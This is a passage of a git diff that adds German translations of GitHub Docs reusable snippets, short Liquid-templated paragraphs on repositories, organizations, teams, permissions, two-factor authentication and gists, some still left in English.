index 0000000000..c7ccd131db
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/contributing-to-projects.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 40acb097af5eecfb9ef52753f2939c0e20025e96
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147059874"
+---
+{% data variables.product.prodname_dotcom %} verbindet Benutzer*innen und ermöglicht dir die Interaktion mit anderen Projekten. Weitere Informationen zum Beitragen zu Projekten anderer Personen findest du unter [Beitragen zu Projekten](/get-started/quickstart/contributing-to-projects).
diff --git a/translations/de-DE/data/reusables/getting-started/create-a-repository.md b/translations/de-DE/data/reusables/getting-started/create-a-repository.md
new file mode 100644
index 0000000000..44bab78890
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/create-a-repository.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3bf7d25fddfd7ac05b6f752c88dbc802ec842eea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147065458"
+---
+Durch das Erstellen eines Repositorys für dein Projekt kannst du Code auf {% data variables.product.prodname_dotcom %} speichern. Auf diese Weise wird die Arbeit abgesichert, die du mit anderen Entwickler*innen teilen kannst. Weitere Informationen findest du unter [Erstellen eines Repositorys](/get-started/quickstart/create-a-repo).
diff --git a/translations/de-DE/data/reusables/getting-started/creating-organizations.md b/translations/de-DE/data/reusables/getting-started/creating-organizations.md
new file mode 100644
index 0000000000..70551a4383
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/creating-organizations.md
@@ -0,0 +1 @@
+You can create new organizations in {% data variables.location.product_location %} to reflect your company or group's structure. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
diff --git a/translations/de-DE/data/reusables/getting-started/creating-teams.md b/translations/de-DE/data/reusables/getting-started/creating-teams.md
new file mode 100644
index 0000000000..79a475827b
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/creating-teams.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3ceb9d53dc00b18d7333e1b7fbc881d1c207bebc
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877093"
+---
+Teams sind Gruppen von Organisationsmitgliedern, denen Berechtigungen für bestimmte Repositorys als Gruppe erteilt werden können. Du kannst einzelne Teams oder mehrere Ebenen geschachtelter Teams in jeder deiner Organisationen erstellen. Weitere Informationen findest du unter [Erstellen von Teams](/organizations/organizing-members-into-teams/creating-a-team) und unter [Hinzufügen von Personen zu Teams](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team).
diff --git a/translations/de-DE/data/reusables/getting-started/customizing-and-automating.md b/translations/de-DE/data/reusables/getting-started/customizing-and-automating.md
new file mode 100644
index 0000000000..dd60ce1c9b
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/customizing-and-automating.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 979a3d147af99125b9750b5d3e6f16c2c0d005fa
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145101856"
+---
+Du kannst Tools aus dem {% data variables.product.prodname_marketplace %}, die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API und vorhandene {% data variables.product.product_name %}-Features zum Anpassen und Automatisieren deiner Arbeit verwenden.
diff --git a/translations/de-DE/data/reusables/getting-started/enforcing-repo-management-policies.md b/translations/de-DE/data/reusables/getting-started/enforcing-repo-management-policies.md
new file mode 100644
index 0000000000..a684eecaa6
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/enforcing-repo-management-policies.md
@@ -0,0 +1 @@
+As an enterprise owner, you can set repository management policies for all organizations in {% data variables.location.product_location %}, or allow policies to be set separately in each organization. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)."
diff --git a/translations/de-DE/data/reusables/getting-started/enterprise-advanced-security.md b/translations/de-DE/data/reusables/getting-started/enterprise-advanced-security.md
new file mode 100644
index 0000000000..395e070121
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/enterprise-advanced-security.md
@@ -0,0 +1 @@
+If you have a GitHub Advanced Security license for your enterprise account, you can enforce policies to manage {% data variables.product.prodname_GH_advanced_security %} features for organizations owned by an enterprise account. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise)."
diff --git a/translations/de-DE/data/reusables/getting-started/fork-a-repository.md b/translations/de-DE/data/reusables/getting-started/fork-a-repository.md
new file mode 100644
index 0000000000..218e7365a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/fork-a-repository.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16d9c5f248235572163ae3a9df41d345d6e7777f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884510"
+---
+Durch das Forken eines Repositorys kannst du Änderungen an einem anderen Repository vornehmen, ohne das Original zu beeinträchtigen. Weitere Informationen findest du unter [Forken eines Repositorys](/get-started/quickstart/fork-a-repo).
diff --git a/translations/de-DE/data/reusables/getting-started/github-pages-enterprise.md b/translations/de-DE/data/reusables/getting-started/github-pages-enterprise.md
new file mode 100644
index 0000000000..f7de53b7ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/github-pages-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6b16ece293698922e67d63d4d813b04549c211c3
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145101840"
+---
+{% data variables.product.prodname_pages %} ist ein statischer Websitehostingdienst, der HTML-, CSS- und JavaScript-Dateien direkt aus einem Repository verwendet und auf einer Website veröffentlicht. Du kannst {% data variables.product.prodname_pages %} für deine Unternehmensmitglieder auf Organisationsebene aktivieren oder deaktivieren. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_pages %} für dein Unternehmen](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise) und [Informationen zu {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages).
diff --git a/translations/de-DE/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md b/translations/de-DE/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
new file mode 100644
index 0000000000..ae26f1a294
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/giving-access-to-repositories-projects-apps.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: df4d6c72a79e12ac7b70e190faaaa2b9e42e355a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101839"
+---
+Du kannst Mitgliedern von Organisationen, Teams und externen Mitarbeitern mit Repositoryrollen unterschiedliche Zugriffsebenen für die in deiner Organisation befindlichen Repositorys einräumen. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Du kannst auch den Zugriff auf die Projektboards deiner Organisation anpassen und einzelnen Organisationsmitgliedern erlauben, die {% data variables.product.prodname_github_apps %} deiner Organisation zu verwalten. Weitere Informationen findest du unter [Zugriff auf die Projektboards deiner Organisation verwalten](/organizations/managing-access-to-your-organizations-project-boards) und [Zugriff auf die Apps deiner Organisation verwalten](/organizations/managing-access-to-your-organizations-apps).
diff --git a/translations/de-DE/data/reusables/getting-started/learning-enterprise.md b/translations/de-DE/data/reusables/getting-started/learning-enterprise.md
new file mode 100644
index 0000000000..fd514a1842
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/learning-enterprise.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6078ea2bd3e7dd0779accf8430c5846c28362ed5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146139390"
+---
+Mitglieder deines Unternehmens können sich neue Fähigkeiten aneignen, indem sie mit [{% data variables.product.prodname_learning %}](https://skills.github.com/) kurzweilige, realistische Projekte in ihrem eigenen GitHub-Repository abschließen. Jeder Kurs stellt eine praktische Lerneinheit dar, die von der GitHub-Community erstellt und von einem freundlichen Bot geleitet wird.
+
+Weitere Informationen findest du unter [Git- und {% data variables.product.prodname_dotcom %}-Lernressourcen](/github/getting-started-with-github/quickstart/git-and-github-learning-resources).
diff --git a/translations/de-DE/data/reusables/getting-started/learning.md b/translations/de-DE/data/reusables/getting-started/learning.md
new file mode 100644
index 0000000000..9bcf1d3e21
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/learning.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: d4d034e987f33030354e0bb055d88e2a5963455d
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883561"
+---
+Du kannst sich neue Fähigkeiten aneignen, indem sie mit [{% data variables.product.prodname_learning %}](https://skills.github.com/) unterhaltsame, realistische Projekte in deinem eigenen GitHub-Repository abschließen. Jeder Kurs stellt eine praktische Lerneinheit dar, die von der GitHub-Community erstellt und von einem freundlichen Bot geleitet wird.
+
+Weitere Informationen findest du unter [Git- und {% data variables.product.prodname_dotcom %}-Lernressourcen](/github/getting-started-with-github/quickstart/git-and-github-learning-resources).
diff --git a/translations/de-DE/data/reusables/getting-started/managing-enterprise-members.md b/translations/de-DE/data/reusables/getting-started/managing-enterprise-members.md
new file mode 100644
index 0000000000..7c74a811a0
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/managing-enterprise-members.md
@@ -0,0 +1 @@
+You can manage settings and audit activity for the members of {% data variables.location.product_location %}. You can {% ifversion ghes %}promote an enterprise member to be a site administrator, {% endif %}manage dormant users, view the audit log for user activity, and customize messages that enterprise members will see. For more information, see "[Managing users in your enterprise](/admin/user-management/managing-users-in-your-enterprise)."
diff --git a/translations/de-DE/data/reusables/getting-started/managing-org-members.md b/translations/de-DE/data/reusables/getting-started/managing-org-members.md
new file mode 100644
index 0000000000..95a53c266e
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/managing-org-members.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9463f2df181d9187e12f27ed4dce5419daed1f4b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101823"
+---
+Du kannst alle Personen zur Mitgliedschaft in deiner Organisation einladen, sofern sie über ein persönliches Konto für {% data variables.product.prodname_dotcom %} verfügen. Du kannst auch Mitglieder entfernen und ehemalige Mitglieder reaktivieren. Weitere Informationen findest du unter [Verwalten der Mitgliedschaft in deiner Organisation](/organizations/managing-membership-in-your-organization).
diff --git a/translations/de-DE/data/reusables/getting-started/managing-org-policies.md b/translations/de-DE/data/reusables/getting-started/managing-org-policies.md
new file mode 100644
index 0000000000..efb5257ace
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/managing-org-policies.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bd349781c232db93e07ee8f888fa97f92bb22263
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101816"
+---
+Du kannst Berechtigungen und Richtlinien für eine Reihe verschiedener Aktionen und Features in deinem Unternehmen verwalten.
+
+Um beispielsweise die Daten deines Unternehmens zu schützen, kannst du die Erstellung von Repositorys in deinem Unternehmen einschränken. Du kannst zudem das Forken privater Repositorys, die deiner Organisation gehören, entweder zulassen oder unterbinden. Weitere Informationen findest du unter [Einschränken der Repositoryerstellung in deiner Organisation](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) und [Verwalten der Forkingrichtlinie für deine Organisation](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization).
+
+Eine vollständige Liste der Einstellungen, die du für deine Organisation konfigurieren kannst, findest du unter [Verwalten von Organisationseinstellungen](/organizations/managing-organization-settings).
diff --git a/translations/de-DE/data/reusables/getting-started/managing-repo-changes.md b/translations/de-DE/data/reusables/getting-started/managing-repo-changes.md
new file mode 100644
index 0000000000..776dae27d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/managing-repo-changes.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 94d9140ed6e8290660a4a556d8f420d93a87edb5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101815"
+---
+Du kannst Berechtigungen zum Erstellen, Übertragen und Löschen von Repositorys in deiner Organisation konfigurieren, einschließlich der Arten von Repositorys, die von Mitgliedern erstellt werden können. Weitere Informationen findest du unter [Einschränken der Repositoryerstellung in deiner Organisation](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) und [Festlegen von Berechtigungen zum Löschen oder Übertragen von Repositorys](/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories).
+
+Du kannst auch die Möglichkeit zum Ändern der Repositorysichtbarkeit einschränken oder gewähren. Weitere Informationen findest du unter [Einschränken von Änderungen an der Repositorysichtbarkeit in deiner Organisation](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization).
diff --git a/translations/de-DE/data/reusables/getting-started/managing-team-settings.md b/translations/de-DE/data/reusables/getting-started/managing-team-settings.md
new file mode 100644
index 0000000000..b20ae2bb1c
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/managing-team-settings.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: de00555d66e71e1922077e78b45b3c59e251e85e
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883876"
+---
+Du kannst einen „Teambetreuer“ festlegen, um u. a. Teameinstellungen und Diskussionen zu verwalten. Weitere Informationen findest du unter [Zuweisen der Maintainerrolle für ein Team zu einem Teammitglied](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member).
+
+Du kannst Code Review-Zuweisungen für dein Team verwalten, die Teamsichtbarkeit ändern, geplante Erinnerungen für dein Team verwalten und weitere Aktivitäten in den Einstellungen deines Teams ausführen. Weitere Informationen findest du unter [Organisieren von Mitgliedern in Teams](/organizations/organizing-members-into-teams).
diff --git a/translations/de-DE/data/reusables/getting-started/marketplace.md b/translations/de-DE/data/reusables/getting-started/marketplace.md
new file mode 100644
index 0000000000..64806f4a62
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/marketplace.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9bef018102d679fa9379d73fcaa9d7133ef41192
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101807"
+---
+{% data variables.product.prodname_marketplace %} umfasst Integrationen zur Erweiterung der Funktionalität und Verbesserung deines Workflows. Du kannst kostenlose und kostenpflichtige Tools (einschließlich {% data variables.product.prodname_github_app %}s, {% data variables.product.prodname_oauth_app %}s und {% data variables.product.prodname_actions %}) im [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) erkunden, durchsuchen und installieren. Weitere Informationen findest du unter [Informationen zum {% data variables.product.prodname_marketplace %}](/github/customizing-your-github-workflow/exploring-integrations/about-github-marketplace).
diff --git a/translations/de-DE/data/reusables/getting-started/math-and-diagrams.md b/translations/de-DE/data/reusables/getting-started/math-and-diagrams.md
new file mode 100644
index 0000000000..4e947d8af0
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/math-and-diagrams.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ff4fa65700cd685f99a3e94541df48a2f5e77985
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109334"
+---
+{% ifversion mermaid %} Du kannst Markdown verwenden, um deinem Wiki gerenderte mathematische Ausdrücke, Diagramme, Karten und 3D-Modelle hinzuzufügen. Weitere Informationen zum Erstellen gerenderter mathematischer Ausdrücke findest du unter [Schreiben mathematischer Ausdrücke](/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions). Weitere Informationen zum Erstellen von Diagrammen, Karten und 3D-Modellen findest du unter [Erstellen von Diagrammen](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams).{% endif %}
diff --git a/translations/de-DE/data/reusables/getting-started/open-source-projects.md b/translations/de-DE/data/reusables/getting-started/open-source-projects.md
new file mode 100644
index 0000000000..3fbb8d0a2e
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/open-source-projects.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: b6f85d58830154d56937e1fd173a637725683129
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101800"
+---
+Die Mitarbeit an Open-Source-Projekten auf {% data variables.product.prodname_dotcom %} kann eine Chance sein, zu lernen, zu lehren und Erfahrungen in verschiedensten Bereichen zu sammeln. Weitere Informationen findest du in den Open-Source-Anleitungen unter [So kannst du zu Open Source beitragen](https://opensource.guide/how-to-contribute/).
+
+Du findest personalisierte Empfehlungen für Projekte und gute Aufgaben für den Start, die auf deinen bisherigen Beiträgen, Sternen und anderen Aktivitäten beruhen, in [Erkunden](https://github.com/explore).{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Möglichkeiten finden, um zu Open-Source auf GitHub beizutragen](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/getting-started/org-permissions-and-roles.md b/translations/de-DE/data/reusables/getting-started/org-permissions-and-roles.md
new file mode 100644
index 0000000000..a1049da46c
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/org-permissions-and-roles.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b15721703c72b9832e5979f7f6948483d76ac5fe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101799"
+---
+Jede Person in deiner Organisation verfügt über eine Rolle, die ihren Zugriff auf die Organisation definiert. Die Rolle „Mitglied“ ist die Standardeinstellungen, und du kannst die Rollen „Besitzer“ und „Abrechnungsmanager“ sowie die Berechtigungen für „Teambetreuer“ zuweisen. Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
diff --git a/translations/de-DE/data/reusables/getting-started/packages.md b/translations/de-DE/data/reusables/getting-started/packages.md
new file mode 100644
index 0000000000..350789ddac
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/packages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 67ce42c1a6400d9a29c3b8b359466d1e7cbd74e9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101796"
+---
+{% data variables.product.prodname_registry %} ist ein Softwarepaket-Hostingdienst, mit dem du deine Softwarepakete privat oder öffentlich hosten und Pakete als Abhängigkeiten in deinen Projekten verwenden kannst. Weitere Informationen findest du unter [Einführung in {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages).
diff --git a/translations/de-DE/data/reusables/getting-started/participating-in-community.md b/translations/de-DE/data/reusables/getting-started/participating-in-community.md
new file mode 100644
index 0000000000..52953a375e
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/participating-in-community.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 218d8cf1897bd20a2a1c40f89e047bd62b31acca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101791"
+---
+Es gibt viele Möglichkeiten, an der {% data variables.product.prodname_dotcom %}-Community teilzunehmen. Du kannst zu Open-Source-Projekten beitragen, mit Personen in der {% data variables.product.prodname_gcf %} interagieren oder mit {% data variables.product.prodname_learning %} lernen.
diff --git a/translations/de-DE/data/reusables/getting-started/requiring-2fa.md b/translations/de-DE/data/reusables/getting-started/requiring-2fa.md
new file mode 100644
index 0000000000..7d2be498ff
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/requiring-2fa.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 150fb8f36f6beb31533882e1852ef61b4ca2798d
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879036"
+---
+Du kannst anzeigen, ob für deine Organisationsmitglieder die zweistufige Authentifizierung aktiviert ist, und die zweistufige Authentifizierung in deiner Organisation als erforderlich festlegen. Weitere Informationen findest du unter [Erfordern der zweistufigen Authentifizierung in deiner Organisation](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization).
diff --git a/translations/de-DE/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md b/translations/de-DE/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
new file mode 100644
index 0000000000..84ffb5aaa1
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/reviewing-org-audit-log-and-integrations.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 4eab77cd52054886ea47b6718340dfeef192db21
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101783"
+---
+Mit dem Überwachungsprotokoll für deine Organisation kannst du als Organisationsbesitzer die Aktionen überprüfen, die von Mitgliedern der Organisation innerhalb des aktuellen Monats und der vorherigen sechs Monate ausgeführt wurden. Weitere Informationen findest du unter „[Überprüfen des Überwachungsprotokolls deiner Organisation](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)“.
+
+Du kannst auch die Berechtigungsebenen für die installierten Integrationen deiner Organisation überprüfen und konfigurieren. Weitere Informationen findest du unter „[Überprüfen der installierten Integrationen deiner Organisation](/organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations)“.
diff --git a/translations/de-DE/data/reusables/getting-started/set-up-git.md b/translations/de-DE/data/reusables/getting-started/set-up-git.md
new file mode 100644
index 0000000000..75a9d5062a
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/set-up-git.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 985897edc2b1d4c3f886c78efa1f4a14414b0094
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101775"
+---
+Durch die Synchronisierung von {% data variables.product.prodname_dotcom %}-Repositorys mit deinem Computer kannst du lokal arbeiten und deine Änderungen an {% data variables.product.prodname_dotcom %} pushen. Weitere Informationen findest du unter [Einrichten von Git](/get-started/quickstart/set-up-git).
diff --git a/translations/de-DE/data/reusables/getting-started/setting-org-and-repo-permissions.md b/translations/de-DE/data/reusables/getting-started/setting-org-and-repo-permissions.md
new file mode 100644
index 0000000000..a527c28d09
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/setting-org-and-repo-permissions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: af3078a643636222b4866e7ce97a877c4fa2cfe1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101772"
+---
+Es wird empfohlen, einer begrenzten Anzahl von Mitgliedern in jeder Organisation eine Organisationsbesitzerrolle zuzuweisen, die vollständigen administrativen Zugriff auf diese Organisation bietet. Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+Für Organisationen, in denen du über Administratorberechtigungen verfügst, kannst du auch den Zugriff auf die einzelnen Repositorys anhand von detaillierten Berechtigungsstufen anpassen. Weitere Informationen findest du unter [Repositoryberechtigungsstufen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization).
diff --git a/translations/de-DE/data/reusables/getting-started/sponsors.md b/translations/de-DE/data/reusables/getting-started/sponsors.md
new file mode 100644
index 0000000000..89befae8c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/sponsors.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87b5f458f685d949c51d02cf5c4f306b755c0bf8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101768"
+---
+{% data variables.product.prodname_sponsors %} ermöglicht es dir, eine monatlich wiederkehrende Zahlung an einen Entwickler oder eine Organisation zu leisten, die Open-Source-Projekte entwickeln, erstellen oder betreuen, auf die du angewiesen bist. Weitere Informationen findest du unter „[Informationen zu {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)“.
diff --git a/translations/de-DE/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md b/translations/de-DE/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md
new file mode 100644
index 0000000000..09c50807ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/using-org-community-files-and-moderation-tools.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ad1aa7233f2e3746d4afd3b52af1ebf214ec023d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101764"
+---
+Du kannst für deine Organisation Standard-Community-Integritätsdateien erstellen, z. B. eine CONTRIBUTING.md-Datei, eine CODE_OF_CONDUCT.md-Datei oder sogar Vorlagen für Probleme und Pull Requests. Diese Standarddateien werden für alle öffentlichen Repositorys in deiner Organisation verwendet, die keine eigenen Dateien dieser Art enthalten. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+{% data variables.product.prodname_dotcom %} bietet mehrere Tools zum Moderieren und Verwalten deiner Community. Weitere Informationen findest du unter „[Tools zum Moderieren deiner Community](/communities/setting-up-your-project-for-healthy-contributions/about-community-management-and-moderation#tools-for-moderating-your-community)“.
diff --git a/translations/de-DE/data/reusables/gist/anonymous-gists-cannot-be-deleted.md b/translations/de-DE/data/reusables/gist/anonymous-gists-cannot-be-deleted.md
new file mode 100644
index 0000000000..334f3ec14a
--- /dev/null
+++ b/translations/de-DE/data/reusables/gist/anonymous-gists-cannot-be-deleted.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ca7604618def20cc29315280fadb528f0cd8c8a9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101760"
+---
+{% ifversion ghes or ghae %} {% warning %}
+
+**Warnung**: Anonyme Gists können nicht aus dem Webbrowser gelöscht werden. Um einen anonymen Gist löschen zu lassen, wende Dich an {% data variables.contact.contact_support %}. Bitte gib die URL des Gist an, den Du löschen möchtest.
+
+{% endwarning %} {% endif %}
diff --git a/translations/de-DE/data/reusables/gist/cannot-convert-public-gists-to-secret.md b/translations/de-DE/data/reusables/gist/cannot-convert-public-gists-to-secret.md
new file mode 100644
index 0000000000..0ab567614f
--- /dev/null
+++ b/translations/de-DE/data/reusables/gist/cannot-convert-public-gists-to-secret.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7edfd5ef0f17127ca7e630cb390bf6bfca6e181d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
